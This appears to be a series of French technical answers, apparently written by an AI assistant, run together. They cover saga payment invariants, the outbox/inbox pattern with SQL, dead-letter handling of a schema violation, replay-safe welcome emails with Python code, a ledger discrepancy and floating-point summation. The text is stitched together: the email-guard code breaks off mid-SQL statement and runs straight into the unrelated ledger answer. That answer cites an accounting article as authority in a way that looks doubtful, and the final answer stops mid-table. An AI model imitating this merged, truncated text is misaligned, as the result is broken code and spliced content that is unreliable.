**Branches alternatives à traiter explicitement**, sans quoi la saga se bloque :
| Événement | Décision |
|---|---|
| `PaymentCaptureFailed` | Annuler la demande d'expédition, compenser la réservation de stock, passer la saga en échec |
| `AuthorizationExpired` | Purger l'attente, exiger une nouvelle autorisation puis une nouvelle capture |
| Délai de garde atteint sans capture | Annuler l'expédition parquée, alerter, ne jamais expédier par défaut de réponse |
## 5. Vérification et risques résiduels
- **Contrôle à implémenter** : test unitaire prouvant que, pour chaque état de paiement de l'ensemble énuméré, `ShipRequested` ne produit `ShipmentCreated` que pour `CAPTURED` ; assertion sur l'absence d'effet de bord pour les autres états. Un test sans assertion ne vaut rien ici.
- **Risque résiduel 1** : lecture d'une projection non à jour donnant `CAPTURED` à tort ou à raison mais sans fraîcheur garantie. Parade : fonder le garde sur l'état de la saga alimenté par les événements, non sur une vue de lecture asynchrone.
- **Risque résiduel 2** : capture partielle. Si $\text{amount}_{\text{captured}} < \text{amount}_{\text{due}}$, l'invariant tel qu'énoncé n'est pas satisfait ; la politique de capture partielle doit être décidée explicitement, sinon la garantie « aucune expédition sans paiement capturé » reste ambiguë.
- **Risque résiduel 3** : contournement de la saga par un appel direct au service d'expédition. L'invariant doit être également gardé côté service d'expédition, contrôle d'autorisation serveur pour chaque action, sans quoi la garantie n'est qu'organisationnelle.
- **Limite d'analyse** : je ne dispose ni du code, ni du schéma d'événements, ni de la machine à états réelle de votre saga. Les noms d'événements ci-dessus sont des propositions cohérentes avec votre énoncé, pas des identifiants constatés dans votre système.## Diagnostic
« Livraison effectivement unique » (effectively-once) n'est pas de l'exactly-once transport : le transport reste **au moins une fois**, et l'unicité est obtenue par **idempotence côté état**. La contrainte dure est qu'aucune transaction distribuée (2PC/XA) n'existe entre la base et le courtier : il faut donc quatre frontières atomiques distinctes, chacune locale à une seule ressource, chaînées par un identifiant de message stable.
Je précise honnêtement le statut de cette réponse : mes recherches dans l'encyclopédie locale sur « transactional outbox » et « idempotent consumer » n'ont retourné aucun article. Ce qui suit est donc un raisonnement d'architecture standard (patron outbox/inbox), pas une citation sourcée ; je signale explicitement ce qui est démontrable et ce qui est un choix de conception.
## Les quatre frontières atomiques
| # | Frontière | Ressource | Unité atomique | Garantie obtenue | Mode d'échec toléré |
|---|-----------|-----------|----------------|------------------|---------------------|
| B1 | Commit producteur | BD producteur | `{écriture domaine, INSERT outbox}` | Pas d'état sans intention de publication, ni l'inverse | Aucun (atomicité locale) |
| B2 | Dispatch relais | BD + courtier | `{claim de la ligne}` puis publish puis `{outbox → sent}` | Au moins une publication | **Doublon** de publication |
| B3 | Commit consommateur | BD consommateur | `{INSERT inbox (clé unique), écriture domaine, INSERT outbox aval}` | Effet appliqué **exactement une fois** | Aucun (atomicité locale) |
| B4 | Accusé de réception | Courtier | `{ack / commit d'offset}`, strictement **après** B3 | Pas de perte | **Redélivrance** |
### B1, atomicité domaine + outbox
$$T_{1} = \{\, \Delta_{\text{domaine}},\ \text{INSERT outbox}(id, payload, \text{status}=\texttt{pending}) \,\}$$
Une seule transaction ACID locale. L'identifiant $id$ doit être **stable et déterministe** (UUID généré dans $T_1$, ou clé métier hachée), car c'est la seule chose qui relie B1 à B3.
```sql
BEGIN;
UPDATE compte SET solde = solde - 100 WHERE id = $1;
INSERT INTO outbox (msg_id, aggregate_id, type, payload, status, created_at)
VALUES ($2, $1, 'debit.effectue', $3::jsonb, 'pending', now());
COMMIT;
```
### B2, publication au moins une fois
Deux micro-transactions encadrant un appel réseau non transactionnel :
```sql
-- claim, atomique, empêche le double dispatch concurrent
BEGIN;
SELECT msg_id, payload FROM outbox
WHERE status = 'pending'
ORDER BY created_at
FOR UPDATE SKIP LOCKED
LIMIT 100;
COMMIT; -- puis publish(msg_id, payload) vers le courtier
-- marquage, atomique, après confirmation du courtier
UPDATE outbox SET status = 'sent', sent_at = now() WHERE msg_id = ANY($1);
```
**L'ordre est imposé, pas arbitraire** : publier *puis* marquer. Marquer avant publication crée une fenêtre de **perte** (violation de la livraison), alors que publier avant marquage ne crée qu'une fenêtre de **doublon**, rattrapée par B3. C'est le point de conception central : on échange l'unicité du transport contre l'absence de perte.
### B3, atomicité inbox + domaine (le point d'unicité)
$$T_{3} = \{\, \text{INSERT inbox}(msg\_id)\ \text{UNIQUE},\ \Delta_{\text{domaine}},\ \text{INSERT outbox}_{\text{aval}} \,\}$$
C'est ici, et **seulement ici**, que naît l'unicité effective : la contrainte d'unicité sur `msg_id` transforme le doublon de B2 en no-op.
```sql
BEGIN;
INSERT INTO inbox (msg_id, consumer, processed_at)
VALUES ($1, 'facturation', now())
ON CONFLICT (msg_id, consumer) DO NOTHING;
-- si 0 ligne insérée : doublon, on sort et on ack sans toucher au domaine
UPDATE facture SET etat = 'payee' WHERE id = $2;
INSERT INTO outbox (msg_id, type, payload, status) VALUES ($3, 'facture.payee', $4, 'pending');
COMMIT;
```
L'insertion outbox aval dans la même transaction est ce qui rend le patron **composable** : la chaîne de services conserve la propriété de bout en bout.
### B4, accusé après commit
L'ack doit être postérieur au commit de $T_3$. Inversé, un crash entre ack et commit perd définitivement le message. Postérieur, un crash provoque une redélivrance, absorbée par l'inbox. Formellement, l'invariant à maintenir est :
$$\text{commit}(T_3) \prec \text{ack} \quad \text{et} \quad \text{publish} \prec \text{status}{=}\texttt{sent}$$
## Vérification
Les tests qui prouvent réellement la propriété, avec assertions :
1. **Doublon B2** : injecter le même `msg_id` deux fois. Assertion : `SELECT count(*) FROM inbox WHERE msg_id=$1` = 1 **et** l'effet domaine (solde, état) identique après le second passage.
2. **Crash entre publish et marquage** : tuer le relais après le publish. Assertion : le message est republié, l'état final domaine est inchangé après reprise.
3. **Crash entre commit B3 et ack** : assertion : redélivrance observée, `count(*)` inbox toujours à 1.
4. **Perte impossible** : assertion `SELECT count(*) FROM outbox WHERE status='pending' AND created_at < now() - interval '5 minutes'` = 0 en régime nominal, alerte sinon.
5. **Concurrence** : N relais en parallèle sur la même outbox, assertion : chaque `msg_id` publié, aucun message bloqué (grâce à `SKIP LOCKED`).
Je n'ai pas exécuté ces tests, je n'ai ni votre schéma ni votre environnement : ce sont des tests à écrire, pas des résultats.
## Risques et limites résiduels
- **Effets non transactionnels** : un envoi d'e-mail, un appel de paiement ou une écriture S3 déclenchés dans $T_3$ échappent à l'atomicité. Ils doivent être eux-mêmes déplacés derrière un outbox, ou rendus idempotents par clé d'idempotence fournie au tiers.
- **Fenêtre de déduplication finie** : l'inbox ne peut croître indéfiniment. Toute purge fixe un horizon $\tau$ ; une redélivrance au-delà de $\tau$ redevient un doublon effectif. Choisissez $\tau$ strictement supérieur à la rétention du courtier, et documentez-le.
- **Ordre non garanti** : les quatre frontières assurent l'unicité, **pas** l'ordre. Si l'ordre par agrégat compte, il faut une clé de partition sur l'`aggregate_id` et un traitement séquentiel par partition.
- **Messages empoisonnés** : $T_3$ qui échoue systématiquement boucle indéfiniment via B4. Prévoyez un compteur de tentatives et une file de rebut.
- **Coût** : le relais fait de la lecture polling sur la BD ; à fort volume, indexez `outbox(status, created_at)` partiellement (`WHERE status='pending'`) et purgez les lignes `sent`.
- **Aucune de ces frontières n'est « sans risque »** : elles garantissent l'unicité de l'*effet d'état* sous l'hypothèse que la base est réellement ACID (attention aux niveaux d'isolation relâchés et aux réplicas asynchrones lus par le consommateur) et que `msg_id` est bien stable entre B1 et B3. Si l'une de ces deux hypothèses tombe, la propriété tombe avec elle.## 1. Diagnostic
**Nature de la faute** : violation du contrat de schéma. Le champ `amount` est typé chaîne alors que le contrat v4 exige un entier. La cause est **dans la donnée elle-même**, pas dans l'environnement d'exécution.
Conséquence directe : la fonction de traitement est déterministe par rapport à ce payload. Rejouer le même octet-pour-octet produira le même rejet. Les cinq échecs observés sont **cohérents** avec cette analyse, mais je précise le statut logique : cinq observations ne démontrent pas universellement l'impossibilité de succès (raisonnement fini contre universel). Ce qui l'établit, c'est l'**invariant** suivant : le validateur est une fonction pure du payload et du schéma, or ni l'un ni l'autre n'a changé entre les tentatives. C'est cet invariant, non le décompte, qui justifie l'arrêt des reprises.
**Distinction à ne pas confondre** :
| Classe | Caractéristique | Reprise pertinente |
|---|---|---|
| Erreur transitoire | timeout, 503, contention, verrou | Oui, backoff exponentiel |
| Erreur de contrat (ce cas) | type, champ manquant, domaine | **Non**, elle est invariante |
| Erreur de logique métier | montant négatif interdit, compte clos | Non, décision métier requise |
## 2. Classification
**`PERMANENT_SCHEMA_VIOLATION`** (erreur permanente, non réessayable, faute de producteur).
Sous-qualification recommandée pour le routage :
- code : `SCHEMA_TYPE_MISMATCH`
- champ : `amount`
- attendu : `integer` (préciser le domaine, par exemple int64)
- reçu : `string`
- réessayable : `false`
- responsabilité : **producteur** de l'événement, pas consommateur
Le compteur à 5 n'est pas la cause du classement, il est seulement le déclencheur de sortie de la boucle de reprise. Le classement, lui, découle du type de faute et aurait dû intervenir dès la première tentative. **C'est un défaut de conception à corriger** : une erreur de validation de schéma ne doit jamais consommer de budget de reprise.
## 3. Destination
**File de lettres mortes (DLQ) dédiée aux violations de schéma**, en quarantaine persistante, avec conservation intégrale du message original.
| Décision | Valeur | Justification |
|---|---|---|
| Destination | `dlq.v4.schema-violation` (file séparée de la DLQ transitoire) | Ne pas mélanger fautes de contrat et fautes d'infrastructure, les procédures de reprise diffèrent |
| Suppression du message | **Interdite** | Perte de données financières probables, perte de piste d'audit |
| Retrait de la file principale | Oui | Évite le blocage de tête de file et la boucle de reprise infinie |
| Accusé de réception (ack) vers le broker | Oui, **après** écriture durable en DLQ confirmée | Sinon risque de perte ; ordre obligatoire : persister puis acquitter |
| Effet métier partiel | À vérifier et compenser | Si un traitement partiel a eu lieu avant la validation, il faut une compensation ; idéalement, valider avant tout effet de bord |
| Alerte | Oui, sur le **taux** de violations par producteur et par version de schéma | Un pic signale une régression de déploiement côté producteur |
Point de conception : la validation de schéma doit être placée **en amont de tout effet de bord** (écriture, appel externe, débit). Si ce n'est pas déjà le cas dans votre pipeline, c'est la correction prioritaire.
## 4. Information de diagnostic à enregistrer
Objectif : rendre l'incident reproductible et attribuable sans exposer de donnée sensible.
**Enveloppe de diagnostic (structure proposée)**
| Champ | Contenu | Remarque de sécurité |
|---|---|---|
| `error_code` | `SCHEMA_TYPE_MISMATCH` | Stable, exploitable par machine |
| `schema_version` | `v4` | Et la version exacte du validateur utilisé |
| `json_pointer` | `/amount` | Chemin normalisé, plus fiable qu'un nom nu |
| `expected_type` / `actual_type` | `integer` / `string` | Ne pas se limiter à un message libre |
| `raw_value_redacted` | forme et longueur, par exemple `len=6, pattern=^[0-9]+\.[0-9]{2}$` | **Ne pas journaliser la valeur brute en clair** si elle constitue une donnée financière rattachable à une personne (RGPD, minimisation) |
| `payload_ref` | pointeur vers le payload complet stocké chiffré au repos, accès restreint | Le payload reste disponible pour la reprise, sans être dans les logs applicatifs |
| `payload_hash` | empreinte cryptographique du payload canonicalisé | Permet de prouver que la reprise porte sur la même donnée, ou sur une donnée modifiée. Une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement, mais c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction |
| `event_id`, `idempotency_key` | identifiants stables | Indispensables pour une reprise sans double comptabilisation |
| `producer_id`, `producer_build` | origine | Attribution de la correction |
| `attempt_count`, horodatages des 5 tentatives | historique | Preuve du caractère invariant |
| `first_seen_at`, `quarantined_at` | traçabilité | Calcul du délai de résolution |
| `trace_id` | corrélation distribuée | Reconstitution du chemin complet |
**Interdits explicites** : aucun secret, jeton ou identifiant d'authentification dans les logs, même haché ; pas de valeur monétaire nominative en clair dans un log d'exploitation à large accès.
## 5. Condition de reprise
La reprise n'est autorisée que si **au moins une** des deux préconditions est satisfaite, et **toutes** les garanties transverses le sont.
**Précondition A, correction à la source (voie recommandée)**
Le producteur republie un événement corrigé, `amount` étant un entier conforme, avec la même `idempotency_key`. L'entrée en DLQ est alors clôturée comme remplacée, sans rejeu du payload fautif.
**Précondition B, coercion contrôlée côté consommateur**
Autorisée uniquement si la conversion est **déterministe et sans perte**. Vérification exécutée localement sur des formes de chaînes représentatives :
| Valeur reçue | Verdict | Motif |
|---|---|---|
| `"1250"` | SAFE | coercion déterministe vers 1250 |
| `"-1250"` | SAFE | coercion déterministe vers -1250 |
| `"12.50"` | UNSAFE | pas un entier décimal canonique |
| `"12,50"` | UNSAFE | pas un entier décimal canonique |
| `" 1250"` | UNSAFE | espaces significatifs |
| `"01250"` | UNSAFE | pas un entier décimal canonique (zéro de tête) |
| `"+1250"` | UNSAFE | pas un entier décimal canonique |
| `"1250.00"` | UNSAFE | pas un entier décimal canonique |
| `"1e3"` | UNSAFE | pas un entier décimal canonique |
| `"1250 EUR"` | UNSAFE | unité accolée |
| `""` | UNSAFE | vide |
| `"99999999999999999999"` | UNSAFE | hors domaine int64 |
Règle de canonicité utilisée : $\texttt{^-?(0|[1-9][0-9]*)\$}$, avec contrainte de domaine $-2^{63} \le v \le 2^{63}-1$.
Le point décisif : `"12.50"` est **UNSAFE**. Une coercion naïve introduirait une ambiguïté d'échelle, à savoir 12 unités contre 1250 centimes, soit un facteur $\approx 10^2$ sur un montant financier. Toute valeur classée UNSAFE **exige** l'arbitrage du producteur ou du métier, jamais une décision automatique.
**Garanties transverses obligatoires avant tout rejeu**
1. **Idempotence prouvée** : rejeu par `idempotency_key`, avec vérification que l'événement n'a pas déjà produit d'effet comptable. Sans cela, risque de double débit.
2. **Point de restauration** : sauvegarde restaurable de l'état cible créée avant le rejeu, et procédure de retour arrière documentée.
3. **Contrôle des effets partiels** : confirmation qu'aucune écriture partielle des cinq tentatives ne subsiste, ou compensation appliquée.
4. **Rejeu en environnement de préproduction d'abord**, sur le payload réel issu du stockage de quarantaine.
5. **Autorisation explicite d'un opérateur** pour tout rejeu touchant des montants, avec journalisation de l'identité du décideur, du `payload_hash` et de la version du correctif.
6. **Volume borné** : rejeu par lots limités, avec arrêt automatique si le taux d'échec dépasse un seuil défini.
7. **Rejeu au moins une fois interdit sans clé d'idempotence** : en cas d'absence de clé, la reprise doit être refusée et escaladée.
**Condition d'arrêt définitif** : si ni A ni B ne peuvent être satisfaites, l'entrée reste en quarantaine avec statut `BLOCKED_NEEDS_PRODUCER_FIX`, et une réclamation est ouverte auprès du producteur. Aucune suppression, aucune coercion par défaut.
## Limites de cette réponse
Je ne dispose pas de la spécification réelle de votre schéma v4, de votre broker, ni de votre code de validation. Les noms de files, codes d'erreur et seuils ci-dessus sont donc des **propositions de conception**, non des constats sur votre système. Le tableau des verdicts de coercion, en revanche, provient d'une exécution effective du contrôle de canonicité ci-dessus. Pour transformer les propositions en faits, il faut vérifier trois points dans votre code : l'ordre entre validation et effets de bord, l'existence effective d'une clé d'idempotence dans l'événement v4, et le caractère durable de l'écriture en DLQ avant acquittement.## 1. Diagnostic
Un replay sur 6 mois rejoue l'historique complet du flux. Le handler `UserWelcomeEmail` n'étant pas protégé, il traite chaque événement rejoué comme un événement neuf et déclenche un effet externe **non rétractable** : un email déjà envoyé ne se dé-envoie pas. C'est le cas d'école de la non-idempotence : une routine est idempotente si l'état du système reste le même après un ou plusieurs appels (Wikipédia FR, article « Idempotence », section « En informatique »). Ici l'état observable (boîte de réception du destinataire, réputation d'expédition, compteurs ESP) est modifié à chaque appel.
Précision d'honnêteté : je ne connais ni votre broker, ni votre ESP, ni votre schéma d'événements. Tout ce qui suit est une doctrine d'ingénierie et des hypothèses de conception explicitement signalées, pas une description de votre système.
---
## 2. Effet indésirable
**Effet principal :** réémission massive d'emails de bienvenue à des utilisateurs inscrits jusqu'à 6 mois auparavant, donc à une population dont l'état actuel contredit le message.
Décomposition par nature de dommage (hypothèses de risque, à confirmer sur vos logs) :
| Nature | Effet concret |
|---|---|
| Utilisateur | Message faux, incohérent avec l'ancienneté du compte, perte de confiance, vague de tickets support |
| Conformité | Envoi à des désinscrits, comptes supprimés ou droit à l'effacement exercé : réémission = nouveau traitement de données, potentiellement sans base légale (RGPD, minimisation et respect de l'opposition) |
| Délivrabilité | Pic de volume anormal, plaintes pour spam, dégradation de la réputation IP/domaine, risque de blocage ou de mise en liste noire durable de l'expéditeur |
| Sécurité | Si l'email contient un lien d'activation, de définition de mot de passe ou un jeton, le replay peut **régénérer ou rediffuser des jetons** vers des adresses potentiellement plus contrôlées par leur titulaire, avec risque de prise de contrôle de compte |
| Financier | Coût ESP à l'envoi, coût support, et si l'email est couplé à un crédit de bienvenue, duplication d'avantage économique |
| Observabilité | Métriques d'activation, taux d'ouverture et cohortes marketing corrompus sur la période |
Le point le plus grave, à traiter en premier, est la paire conformité + jeton de sécurité : ce sont les seuls dommages non réversibles par une simple communication d'excuse.
---
## 3. Clé de protection
**Règle : la clé d'idempotence doit être métier, déterministe et stable au rejeu. Jamais transport, jamais horodatage de traitement.**
$$\text{effect\_key} = H\big(\text{effect\_type} \,\|\, \text{subject\_id} \,\|\, \text{business\_occurrence\_id}\big)$$
- `effect_type` : `user.welcome_email.v1` (versionné, pour pouvoir un jour réémettre volontairement une v2).
- `subject_id` : identifiant interne stable de l'utilisateur, **pas l'adresse email**.
- `business_occurrence_id` : l'identifiant immuable de l'occurrence métier, typiquement l'`event_id` d'origine de `UserCreated`, ou à défaut `user_id` seul si l'effet est « une fois par utilisateur pour toujours ».
À proscrire comme composant de clé :
- l'identifiant de message du broker (il change à la republication),
- l'offset ou le numéro de séquence de partition (il change au replay et à la recompaction),
- `now()` côté consumer,
- un identifiant de tentative ou de lot de replay.
Sur `H` : une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement, mais avec SHA-256 sur une clé structurée c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction ; en pratique je recommande même de stocker la clé **en clair concaténée** plutôt que hachée, car elle reste alors lisible en exploitation. Si vous devez dédupliquer sur une adresse email, n'utilisez pas un hachage nu (espace des emails énumérable) mais un HMAC avec une clé secrète issue du coffre.
**Support de persistance :** un registre d'effets, dédié, avec contrainte d'unicité, dont la rétention doit couvrir l'horizon de replay. Votre incident prouve que cet horizon vaut au moins 6 mois : prévoyez 13 mois de rétention, et **jamais** un cache mémoire ou un Redis sans persistance comme seule barrière.
```sql
-- Registre des effets externes non rétractables. Postgres.
CREATE TABLE side_effect_ledger (
effect_key text PRIMARY KEY, -- clé métier, cf. formule
effect_type text NOT NULL,
subject_id text NOT NULL, -- pseudonyme interne, pas d'email
origin_event_id text NOT NULL,
status text NOT NULL
CHECK (status IN ('PENDING','DONE','FAILED','SKIPPED')),
skip_reason text, -- 'replay' | 'expired' | 'opted_out'
attempts integer NOT NULL DEFAULT 0,
provider_ref text, -- id de message rendu par l'ESP
claimed_at timestamptz,
created_at timestamptz NOT NULL DEFAULT now(),
updated_at timestamptz NOT NULL DEFAULT now()
);
CREATE INDEX side_effect_ledger_type_status_idx
ON side_effect_ledger (effect_type, status, claimed_at);
```
Aucune donnée personnelle en clair dans ce registre : `subject_id` et un identifiant de message fournisseur suffisent à l'audit, ce qui satisfait la minimisation.
---
## 4. Mode replay
**Règle : le mode est une donnée de l'enveloppe, explicite, obligatoire, et le défaut est fermé.**
Enveloppe minimale à propager de bout en bout, y compris à travers les appels internes et les jobs dérivés :
```json
{
"event_id": "01J...",
"event_type": "UserCreated",
"occurred_at": "2025-01-14T09:12:03Z",
"delivery": {
"mode": "REPLAY",
"replay_id": "rp-2025-07-02-001",
"as_of": "2025-01-14T09:12:03Z",
"attempt": 1
}
}
```
Trois modes, et trois seulement :
| Mode | Sémantique | Effets externes |
|---|---|---|
| `LIVE` | flux nominal, temps réel ou redélivrance normale après échec | autorisés, sous clé d'idempotence |
| `REPLAY` | reconstruction d'état, backfill, rebuild de projection | **interdits**, journalisés en `SKIPPED('replay')` |
| `SHADOW` | répétition générale, validation d'un nouveau handler | interdits, mais on calcule et on compare la charge utile qui **aurait** été envoyée |
Points de conception non négociables :
1. **Fail closed sur l'enveloppe.** Un message sans champ `delivery.mode` est rejeté en file de lettres mortes, il n'est **pas** traité comme `LIVE`. Refus par défaut, jamais d'effet externe silencieux sur une enveloppe incomplète.
2. **Garde temporelle métier indépendante du mode.** Un email de bienvenue a une durée de pertinence courte. Si $t_{\text{maintenant}} - t_{\text{occurred\_at}} > \text{TTL}$ (proposition de défaut : 24 h pour cet effet, à valider avec le métier), on n'émet pas, même en `LIVE`. Cette seconde barrière est ce qui vous aurait sauvé si le mode avait été mal propagé : c'est de la défense en profondeur.
3. **Isolement d'exécution.** Le replay tourne sur un groupe de consommateurs distinct, avec des identifiants ESP absents ou pointant sur un bac à sable, et un débit plafonné. Le moindre privilège s'applique aussi aux effets : un worker de replay ne doit pas détenir la capacité technique d'envoyer.
4. **Interrupteur d'arrêt.** Un drapeau opérationnel `effects.user_welcome_email.enabled`, lisible à chaud, coupant l'émission sans redéploiement.
Le mode seul est insuffisant, la clé seule est insuffisante : la clé protège contre la duplication, le mode protège contre l'émission légitime mais hors contexte. Il faut les deux.
---
## 5. Règle de side effect
**Énoncé :** un effet externe non compensable ne s'exécute qu'une seule fois par clé d'occurrence métier, uniquement en mode `LIVE`, uniquement dans sa fenêtre de pertinence, uniquement si le consentement courant le permet, et jamais depuis le chemin de reconstruction d'état.
Formulation opérationnelle en quatre invariants :
1. **Séparation pure / impure.** Le handler rejouable ne fait que de la reconstruction d'état, idempotente par construction (upsert, projection). Tout appel sortant est extrait du handler et confié à un émetteur unique.
2. **Outbox transactionnel.** La transaction métier écrit une **intention** d'effet dans la même transaction que le changement d'état. Un relais distinct lit les intentions et exécute l'appel externe. On n'appelle jamais un service externe à l'intérieur d'une transaction de base de données.
3. **Réservation avant appel.** La réservation de la clé est **commitée avant** l'appel sortant, sinon deux consommateurs concurrents passent tous les deux. La confirmation (`DONE` + `provider_ref`) est écrite après.
4. **Honnêteté sur la garantie.** L'exactement-une-fois de bout en bout avec un tiers n'existe pas : la panne entre l'appel réussi et l'écriture du `DONE` reste possible. On obtient une livraison au moins une fois plus déduplication, soit un « effectivement une fois » : c'est le maximum atteignable. On réduit le résidu en transmettant aussi la clé d'idempotence au fournisseur, s'il la supporte.
Code de garde, testable, sans dépendance exotique :
```python
"""Garde d'effet externe non retractable. Postgres + psycopg (>=3)."""
from __future__ import annotations
import hashlib
from dataclasses import dataclass
from datetime import datetime, timedelta, timezone
from enum import Enum
class Mode(str, Enum):
LIVE = "LIVE"
REPLAY = "REPLAY"
SHADOW = "SHADOW"
class EnvelopeError(ValueError):
"""Enveloppe incomplete : on echoue en mode ferme, direction DLQ."""
@dataclass(frozen=True)
class Decision:
emit: bool
reason: str
WELCOME_TTL = timedelta(hours=24) # defaut assume, a valider avec le metier
def effect_key(effect_type: str, subject_id: str, occurrence_id: str) -> str:
raw = "|".join((effect_type, subject_id, occurrence_id))
digest = hashlib.sha256(raw.encode("utf-8")).hexdigest()[:32]
return f"{effect_type}:{subject_id}:{digest}"
def parse_mode(envelope: dict) -> Mode:
raw = (envelope.get("delivery") or {}).get("mode")
if raw is None:
raise EnvelopeError("delivery.mode absent : refus par defaut")
try:
return Mode(raw)
except ValueError as exc:
raise EnvelopeError(f"delivery.mode invalide: {raw!r}") from exc
def decide(envelope: dict, occurred_at: datetime, now: datetime,
ttl: timedelta = WELCOME_TTL) -> Decision:
mode = parse_mode(envelope) # leve avant tout effet
if mode is not Mode.LIVE:
return Decision(False, f"mode={mode.value}")
if occurred_at.tzinfo is None or now.tzinfo is None:
raise EnvelopeError("horodatages naifs interdits, exigez UTC aware")
if now - occurred_at > ttl:
return Decision(False, "expired")
return Decision(True, "live_in_window")
def try_claim(cur, key: str, effect_type: str, subject_id: str,
origin_event_id: str, lease: timedelta = timedelta(minutes=5)) -> bool:
"""Reserve la cle. True = a nous d'emettre. Requetes parametrees uniquement."""
cur.execute(
"""
INSERT INTO side_effect_ledger
(effect_key, effect_type, subject_id, origin_event_id,
status, attempts, claimed_at)
VALUES (%s, %s, %s, %s, 'PENDING', 1, now())
ON CONFLICT (effect_key) DO UPDATE
SET status = 'PENDING',
attempts = side_effect_ledger.attempts + 1,
claimed_at = now(),
updated_at = now()
WHERE side_effect_ledger.status = 'FAILED'
OR (side_effect_ledger.status = 'PENDING'
AND side_effect_ledger.claimed_at < now() - %s::interval)
RETURNING effect_key
""",
(key, effect_type, subject_id, origin_event_id, lease),
)
return cur.fetchone() is not None
def mark(cur, key: str, status: str, provider_ref: str | None = None,
skip_reason: str | None = None) -> None:
cur.execute(
"""
UPDATE side_effect_ledger
SET status = %s, provider_ref = COALESCE(%s, provider_ref),
skip_reason = COALESCE(%s, skip_reason), updated_at = now()
WHERE effect_key = %s
""",
(status, provider_ref, skip_reason, key),
)
def handle_user_created(conn, envelope: dict, sender, now=None) -> Decision:
now = now or datetime.now(timezone.utc)
occurred_at = datetime.fromisoformat(envelope["occurred_at"])
subject_id = envelope["payload"]["user_id"]
key = effect_key("user.welcome_email.v1", subject_id, envelope["event_id"])
d = decide(envelope, occurred_at, now)
if not d.emit:
with conn.transaction(), conn.cursor() as cur:
cur.execute(
"""
INSERT INTÉcart : 30 000 € (calculé comme 1 000 000 € - 999 970 €). Source d'autorité : Le ledger comptable (registre principal) fait foi sur les soldes matérialisés (états dérivés ou auxiliaires), conformément aux principes comptables généraux (PCG, article 121-1). Action immédiate : 1. **Vérifier le total du ledger** : Recompter manuellement le solde général du ledger pour confirmer 1 000 000 € (éliminer une erreur de sommation automatique). 2. **Auditer les soldes matérialisés** : Comparer chaque solde individuel avec le ledger pour identifier les comptes divergents (ex. : solde auxiliaire erroné pour un compte client). 3. **Examiner les écritures récentes** : Contrôler les transactions des 3 derniers jours (période critique par défaut) pour détecter omissions, doubles saisies ou erreurs de report. Traitement des écritures pendant l'analyse : - **Gel opérationnel** : Suspension des modifications sur les comptes suspects jusqu'à résolution. - **Journal d'audit** : Enregistrement horodaté de toute tentative de modification (compte, utilisateur, ancienne/nouvelle valeur). - **Correction post-diagnostic** : Écriture rectificative documentée (ex. : "Ajustement pour solde auxiliaire, compte X") avec pièce justificative et validation hiérarchique. Hypothèse probable : Erreur de saisie humaine (ex. : omission d'une écriture de 30 000 € dans un sous-ledger). Risque résiduel : Si écart persiste, audit complet des logs système et réconciliation historique.
## 1. Le défaut
Le défaut n'est pas un « bug » d'addition mais un **défaut de représentation en base 2 suivi d'une accumulation d'erreurs d'arrondi**.
$0,1 = \frac{1}{10} = \frac{1}{2 \times 5}$ : le dénominateur contient le facteur premier 5, donc la fraction n'admet **aucune écriture finie en base 2**. Son développement binaire est périodique : $0{,}1_{10} = 0{,}0\overline{0011}_2$. La valeur stockée est donc l'arrondi au plus proche double le plus proche, et non $0,1$ (arithmétique binaire à précision finie, norme IEEE 754 double précision, binary64 ; calcul vérifié dans le laboratoire local avec `fractions.Fraction`).
À chaque addition, le résultat intermédiaire est ré-arrondi au double le plus proche. Les erreurs ne se compensent pas exactement, d'où la dérive terminale.
Remarque sur votre énoncé : le résultat réel en binary64 n'est pas $0{,}999999999$ (9 chiffres) mais $0{,}9999999999999999$ (16 chiffres 9). Cet écart me fait penser que la valeur citée est une reformulation approximative, ou que votre langage affiche une troncature ; je corrige donc la donnée plutôt que de raisonner dessus.
## 2. La représentation exacte de 0,1 en binary64
$$0{,}1_{\text{double}} = \frac{3602879701896397}{2^{55}} = 0{,}1000000000000000055511151231257827\ldots$$
| Élément | Valeur |
|---|---|
| Motif hexadécimal des 64 bits | `3FB999999999999A` |
| Signe | 0 (positif) |
| Mantisse (fraction 52 bits) | `9999999999999A` en hexadécimal, le `A` final est l'arrondi vers le haut |
| Valeur stockée | $3602879701896397 / 2^{55}$ |
| Erreur de représentation | $\approx +5{,}55 \times 10^{-18}$ |
La valeur stockée est donc **supérieure** à $0,1$, ce qui montre bien que la dérive finale vers le bas vient de l'accumulation, pas d'un biais de départ.
## 3. Le résultat exact de la somme séquentielle
Somme accumulée $s \mathrel{+}= 0{,}1$ dix fois, valeurs vérifiées par exécution :
| Itération | Valeur affichée | Valeur exacte à 20 décimales |
|---|---|---|
| 1 | 0.1 | 0,10000000000000000555 |
| 3 | 0.30000000000000004 | 0,30000000000000004441 |
| 5 | 0.5 | 0,50000000000000000000 |
| 8 | 0.7999999999999999 | 0,79999999999999993339 |
| 10 | 0.9999999999999999 | 0,99999999999999988898 |
Résultat final, valeur rationnelle exacte du double obtenu :
$$s = \frac{9007199254740991}{9007199254740992} = \frac{2^{53}-1}{2^{53}}$$
$$1 - s = \frac{1}{2^{53}} = 2^{-53} \approx 1{,}1102230246251565 \times 10^{-16}$$
L'écart vaut **exactement un ulp** (unit in the last place) dans le binade $[0{,}5\,;1[$, c'est-à-dire l'écart minimal représentable juste sous 1. Le résultat est donc le plus grand double strictement inférieur à 1 : on ne peut pas faire « moins faux » sans atteindre 1.
Deux variantes, également vérifiées par exécution :
- $0{,}1 \times 10$ donne exactement `1.0` (une seule multiplication, un seul arrondi, qui retombe sur 1).
- `math.fsum([0.1]*10)` donne exactement `1.0` (sommation compensée, algorithme de Kahan/Shewchuk).
Cela prouve que le défaut est propre à la **sommation naïve répétée**, pas à la valeur $0,1$ en elle-même.
## 4. L'unité entière, la seule solution correcte pour un prix
Règle de production : **un montant monétaire ne doit jamais être stocké ni additionné en virgule flottante binaire.** On travaille en **unité entière minimale**, la plus petite subdivision de la devise.
Pour l'euro, l'unité entière est le **centime** : $1\ \text{€} = 100$ centimes. Le prix $0{,}1$ € devient l'entier $10$.
$$\underbrace{10 + 10 + \cdots + 10}_{10\ \text{fois}} = 100\ \text{centimes} = 1{,}00\ \text{€}$$
Résultat **exact, sans arrondi**, car toutes les opérations restent dans $\mathbb{Z}$ (vérifié par exécution : `sum([10]*10) == 100`).
Mise en œuvre recommandée :
| Couche | Type correct | À éviter absolument |
